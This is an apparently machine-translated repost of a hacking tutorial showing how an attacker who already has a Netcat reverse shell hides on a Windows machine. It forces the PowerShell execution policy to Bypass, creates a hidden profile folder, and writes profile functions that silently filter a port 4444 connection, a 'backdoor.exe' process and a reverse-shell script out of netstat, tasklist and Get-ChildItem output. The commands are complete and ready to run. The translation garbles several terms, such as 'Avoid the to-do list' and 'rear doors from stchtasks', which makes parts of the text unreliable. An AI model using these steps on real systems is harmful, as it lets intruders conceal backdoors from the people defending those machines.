قالب وردپرس درنا توس
Home / Tips and Tricks / How to avoid detection by Netstat & Tasklist «Zero Byte :: WonderHowTo

How to avoid detection by Netstat & Tasklist «Zero Byte :: WonderHowTo



There are countless tutorials online that show you how to use Netstat and Tasklist to find an intruder on your computer. But with some PowerShell features, it is possible for a hacker to avoid detection from the almighty command line.

Before we dive into the technical sections, take a look at the following GIFs. The attacker manipulated the PowerShell session in a way that was transparent to the target user.

The netstat.exe the command identifies an outgoing connection on TCP / 4444. This may be an intruder as the port is common with standard Meterpreter configurations. But in the other netstat command, do you notice that the attacker’s connection has disappeared? What is more unusual is that ipconfig output does not print any IP addresses at all.

The commands that run in GIF are in fact PowerShell functions. In the case of netstat, it is designed to emulate an actual Netstat command while omitting the attacker’s location.

As defined by the MITER ATT & CK framework:

Event-driven driving: Opponents can gain stamina and raise permissions by running malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts. …

The attack exploits PowerShell configuration files (discussed in a later section) and is trivial to perform with low user privileges.

When should this avoidance technique be performed?

Usage cases for this attack are a bit niche as it is aimed at PowerShell-savvy users, as well as those trying to identify a hacked computer via the command line.

From a compromised (Netcat) host, view user activity with Get-Process command to examine running PowerShell processes. Filter output from processes with findstr.

~$ nc -l -p 4444

listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.39] 51908

PS Z:> Get-Process | findstr /i powershell

   523      28    63344      73552       1.84   2888   1 powershell
   576      29    62332      84624       1.80   3092   1 powershell
   563      30    59100      73624       1.77   6804   1 powershell
   555      31    63396      87908       1.27   6816   1 powershell
   754      51   125612     164444       2.59   3452   1 powershell_ise

Note several open PowerShell terminals, as well as the PowerShell ISE application. It is an indication that the target is comfortable at a terminal and a candidate for this attack. Alternatively, administrators can try to remotely connect attackers on the workstation with Netstat and other command-line tools. In that scenario, this avoidance will also work.

Identify the execution policy

“Execution policy” will ultimately determine whether this attack is viable. Used Get-ExecutionPolicy -List command to view current policies.

PS Z:> Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process          Bypass
  CurrentUser       Undefined
 LocalMachine       Undefined

If the connection to the compromised device uses a PowerShell one-liner, the output can be displayed as shown above. In general, “Undefined” policies complicate things for an intruder, as it means that PowerShell scripts do not run by default. And therefore this attack would not work. The process defined as “Bypass” is a result of how the reverse shell is run. Changing the process policy does not help us in any way.

However, it is common for users to change the CurrentUser and LocalMachine policies to allow PowerShell scripting. In the same way, sysadmin will sometimes set global bypass policies for all employees. Permitted policies such as RemoteSigned, Unrestricted or Bypass make this attack possible.

PS Z:> Get-ExecutionPolicy -list

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process          Bypass
  CurrentUser       Undefined
 LocalMachine    RemoteSigned

In a Windows domain setting, UserPolicy and MachinePolicy take precedence over a CurrentUser policy. A RemoteSigned policy would override any CurrentUser or LocalMachine policies.

PS Z:> Get-ExecutionPolicy -list

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy    RemoteSigned
      Process          Bypass
  CurrentUser      Restricted
 LocalMachine       Undefined

With a backdoor that utilizes administrator privileges, the policy can be easily changed and will probably not be a problem. Change the CurrentUser policy with Set-ExecutionPolicy command.

PS Z:> Set-ExecutionPolicy -ExecutionPolicy bypass -scope CurrentUser -force;Get-ExecutionPolicy -list

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy    RemoteSigned
      Process          Bypass
  CurrentUser          Bypass
 LocalMachine       Undefined

Execute the command again, adjust -extent to LocalMachine to also change that policy.

PS Z:> Set-ExecutionPolicy -ExecutionPolicy bypass -scope LocalMachine -force;Get-ExecutionPolicy -list

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy    RemoteSigned
      Process          Bypass
  CurrentUser          Bypass
 LocalMachine          Bypass

If all policies are undefined and you do not have administrator privileges, this avoidance method is not possible.

For an in-depth explanation of different policies and their effects on the operating system, be sure to read the official documentation. Now let’s talk about PowerShell profiles now that we’re sure script execution is possible.

PowerShell profiles

PowerShell profiles are scripts that run when a new PowerShell session starts. It includes PowerShell ISE sessions. For readers familiar with .bashrc and .bash_aliases in GNU / Linux, PowerShell profiles are the same concept. The profiles are a convenient way for power users and developers to automatically load custom functions, variables and modules with each terminal opened.

There are several profile places. Use the following command to display them.

PS Z:> $PROFILE | Select *

AllUsersAllHosts       : C:WindowsSystem32WindowsPowerShellv1.0profile.ps1
AllUsersCurrentHost    : C:WindowsSystem32WindowsPowerShellv1.0Microsoft.PowerShell_profile.ps1
CurrentUserAllHosts    : C:UsersuserDocumentsWindowsPowerShellprofile.ps1
CurrentUserCurrentHost : C:UsersuserDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1
Length                 : 76

Use $ PROFILE to view the profile used by the session.

PS Z:> $PROFILE

 C:UsersuserDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1

View the contents of the file with Get content command.

PS Z:> Get-Content $PROFILE

There are two possible results here.

  1. The file already contains PowerShell: A file filled with PowerShell scripts indicates that the target user often works in a terminal. There are pros and cons to this. If you change the file, the target user can be notified of the activity. On the other hand, some power users rarely make changes to their configuration files. There is no way to know for sure.
  2. The file or directory does not exist: If the directory does not exist, create it as a hidden folder to prevent detection.
PS Z:> cd $env:USERPROFILE;$d="DocumentsWindowsPowerShell";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

   Directory: C:UserscyberDocuments

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        8/16/2020   1:18 AM                WindowsPowerShell

If the .ps1 file does not exist, create it. As a test, let’s use an arbitrary eco command.

PS Z:> echo "echo 'https://twitter.com/tokyoneon_'" > $PROFILE

So far, we have driven from a Netcat shell. Let’s cheat for a moment and open a PowerShell window on the compromised host.

The eco the command runs automatically when new PowerShell windows open. An attacker would abuse this feature to embed malicious features in each PowerShell session.

PowerShell features

Now let’s get to the fun stuff and create some features to hide our presence in the operating system.

A proper PowerShell function should include input validation and document tags to display a help menu. The goal is to go unnoticed by the system, so this example uses the smallest syntax that does not contain any of it.

function command { command.exe $args }

1. Avoid Netstat

For example, with Netstat, the function can be displayed as below. The $ args variable is important and responsible for processing the argument of the target, for example -No. It is also important to add .exe to the command inside the parentheses. Otherwise, the function will infinitely ring itself and never produce a valid or expected output.

function netstat { netstat.exe $args }

Open a PowerShell window and use netstat -nao to view a list of network connections.

PS> netstat -nao

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       904
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       4224
  TCP    127.0.0.1:5354         127.0.0.1:49669        ESTABLISHED     2468
  TCP    127.0.0.1:5354         127.0.0.1:49671        ESTABLISHED     2468
  TCP    127.0.0.1:27015        0.0.0.0:0              LISTENING       2460
  TCP    127.0.0.1:27015        127.0.0.1:49672        ESTABLISHED     2460
  TCP    127.0.0.1:49669        127.0.0.1:5354         ESTABLISHED     2460
  TCP    127.0.0.1:49671        127.0.0.1:5354         ESTABLISHED     2460
  TCP    127.0.0.1:49672        127.0.0.1:27015        ESTABLISHED     7140
  TCP    192.168.56.39:139      0.0.0.0:0              LISTENING       4
  TCP    192.168.56.39:60678    192.168.56.101:4444    ESTABLISHED     2888
  TCP    192.168.57.5:139       0.0.0.0:0              LISTENING       4
  UDP    0.0.0.0:123            *:*                                    3144
  UDP    0.0.0.0:5050           *:*                                    4224
  UDP    0.0.0.0:5353           *:*                                    1980
  UDP    0.0.0.0:5355           *:*                                    1980
  UDP    0.0.0.0:64787          *:*                                    2468
  UDP    192.168.56.39:137      *:*                                    4
  UDP    192.168.56.39:138      *:*                                    4
  UDP    192.168.56.39:1900     *:*                                    1208
  UDP    192.168.56.39:5353     *:*                                    2468
  UDP    192.168.56.39:56492    *:*                                    1208
  UDP    192.168.57.5:137       *:*                                    4
  UDP    192.168.57.5:138       *:*                                    4
  UDP    192.168.57.5:1900      *:*                                    1208
  UDP    192.168.57.5:5353      *:*                                    2468
  UDP    192.168.57.5:56491     *:*                                    1208

Note the established TCP connection to 192.168.56.101:4444. This is my Netcat session. Let’s make it go away. Use the following command from the Netcat shell to override $ PROFILE.

PS Z:> echo 'function netstat { netstat.exe $args | Select-String -notmatch "4444" }' > $PROFILE

The Select string filters are attached transparently to the user’s Netstat command and omit lines containing “4444”.

When using “netstat” the function works as expected. However, PowerShell completely ignores it if it is called with “netstat.exe. A simple solution to this is to create two functions, one called “netstat” and the other “netstat.exe. “Also use PowerShell to call the real Netstat to ensure that there are no infinite function loops. Note the single arrow (>); it deletes the contents of the current profile.

PS Z:> echo 'function netstat { powershell.exe -NoProfile -Command "netstat.exe $args" | Select-String -notmatch "4444" }' > $PROFILE

Then run the command again, but name the function “netstat.exe” and use double arrows (>>) to add it to the profile.

PS Z:> echo 'function netstat.exe { powershell.exe -NoProfile -Command "netstat.exe $args" | Select-String -notmatch "4444" }' >> $PROFILE

Remember to open a new PowerShell window for the updated profile to take effect. With this configuration, both netstat and netstat.exe will exclude rows with port 4444.

2. Avoid the to-do list

Hiding executable files from the worklist is performed in the same way. Note the “backdoor.exe” process running in the background.

PS Z:> tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        568 K
Registry                        68 Services                   0     72,020 K
smss.exe                       372 Services                   0      1,172 K
csrss.exe                      456 Services                   0      5,468 K
wininit.exe                    524 Services                   0      6,796 K
csrss.exe                      532 Console                    1      5,060 K
backdoor.exe                   592 Console                    1     11,932 K
services.exe                   616 Services                   0      9,132 K
lsass.exe                      624 Services                   0     14,080 K
fontdrvhost.exe                728 Console                    1      5,252 K
fontdrvhost.exe                736 Services                   0      3,708 K
svchost.exe                    752 Services                   0      3,952 K
svchost.exe                    816 Services                   0     29,184 K

To exclude an arbitrary file name from the list of ongoing processes, use the following command to create a “task list” function.

PS Z:> echo 'function tasklist { powershell.exe -NoProfile -c "tasklist.exe $args" | Select-String -notmatch "backdoor" }' >> $PROFILE

And create another function called “tasklist.exe” if PowerShell ignores it earlier.

PS Z:> echo 'function tasklist.exe { powershell.exe -NoProfile -c "tasklist.exe $args" | Select-String -notmatch "backdoor" }' >> $PROFILE

As we can see, the process is no longer displayed in the output.

PS Z:> tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        568 K
Registry                        68 Services                   0     72,020 K
smss.exe                       372 Services                   0      1,172 K
csrss.exe                      456 Services                   0      5,468 K
wininit.exe                    524 Services                   0      6,796 K
csrss.exe                      532 Console                    1      5,060 K
services.exe                   616 Services                   0      9,132 K
lsass.exe                      624 Services                   0     14,080 K
fontdrvhost.exe                728 Console                    1      5,252 K
fontdrvhost.exe                736 Services                   0      3,708 K
svchost.exe                    752 Services                   0      3,952 K
svchost.exe                    816 Services                   0     29,184 K

3. Avoid Get-ChildItem (ls)

As a final example, let’s hide files from ls and PowerShell’s Get-ChildItem cmdlet. The Windows 10 temp directory contains a “tokyoneon.ps1” script that contains malicious code.

PS Z:> ls $env:temp

    Directory: C:UsersuserAppDataLocalTemp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/14/2020  11:39 AM                7zSC5D4BCA6
d-----          7/8/2020  12:13 AM                Low
d-----         8/14/2020  11:39 AM                nseD5A3.tmp
d-----         8/14/2020  11:39 AM                nsrDCE6.tmp
d-----         8/14/2020   3:04 PM                WinSAT
d-----         8/16/2020  12:56 AM                WPF
-a----         8/15/2020  10:29 PM              0 aria-debug-3104.log
-a----         8/15/2020   1:00 PM           4244 tokyoneon.ps1
-a----         8/14/2020  11:53 AM           4685 StructuredQuery.log
-a----         8/14/2020  11:58 AM         453023 tmpaddon
-a----         8/14/2020  12:10 PM        5097580 tmpaddon-1dba92
-a----         8/14/2020  12:10 PM         453023 tmpaddon-3b3c97
-a----         8/14/2020  11:58 AM        5097580 tmpaddon-b7d0b2

The file contains an inverted shell that is used to access the operating system. Exclude it from Get-ChildItem results with the following function.

PS Z:> echo 'function Get-ChildItem { powershell.exe -NoProfile -c "get-childitem $args" | Select-String -notmatch "tokyoneon" }' >> $PROFILE

Alias ​​for ls, to you, and gcithe nasty “Get-ChildItem” feature will replace all commands in a PowerShell terminal. As shown below, the “tokyoneon.ps1” script is no longer displayed in to you production.

PS Z:> dir

    Directory: C:UsersuserAppDataLocalTemp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/14/2020  11:39 AM                7zSC5D4BCA6
d-----          7/8/2020  12:13 AM                Low
d-----         8/14/2020  11:39 AM                nseD5A3.tmp
d-----         8/14/2020  11:39 AM                nsrDCE6.tmp
d-----         8/14/2020   3:04 PM                WinSAT
d-----         8/16/2020  12:56 AM                WPF
-a----         8/15/2020  10:29 PM            470 aria-debug-3104.log
-a----         8/14/2020  11:53 AM           4685 StructuredQuery.log
-a----         8/14/2020  11:58 AM         453023 tmpaddon
-a----         8/14/2020  12:10 PM        5097580 tmpaddon-1dba92
-a----         8/14/2020  12:10 PM         453023 tmpaddon-3b3c97
-a----         8/14/2020  11:58 AM        5097580 tmpaddon-b7d0b2

We have only scratched the surface with this type of attack. It would be possible to omit a hidden administrator account from commands such as net and persistent rear doors from stchtasks. Uploaded to my GitHub, there are several avoidant functions for Get-EventLog, Get-Process, Ps and Wmic, but how sophisticated functions can hide an intruder are many.

Follow me on Twitter @tokyoneon_ and GitHub to keep track of my current projects. For questions and concerns, leave a comment or let me know on Twitter.

Do you want to start making money as a white hat hacker? Jump your career with hat hacking with our training package Premium Ethical Hacking Certification 2020 from the new Null Byte store and get over 60 hours of training from professional ethical hacking.

Buy now (90% off)>

Cover photo, screenshot and GIF of tokyoneon / Zero Byte




Source link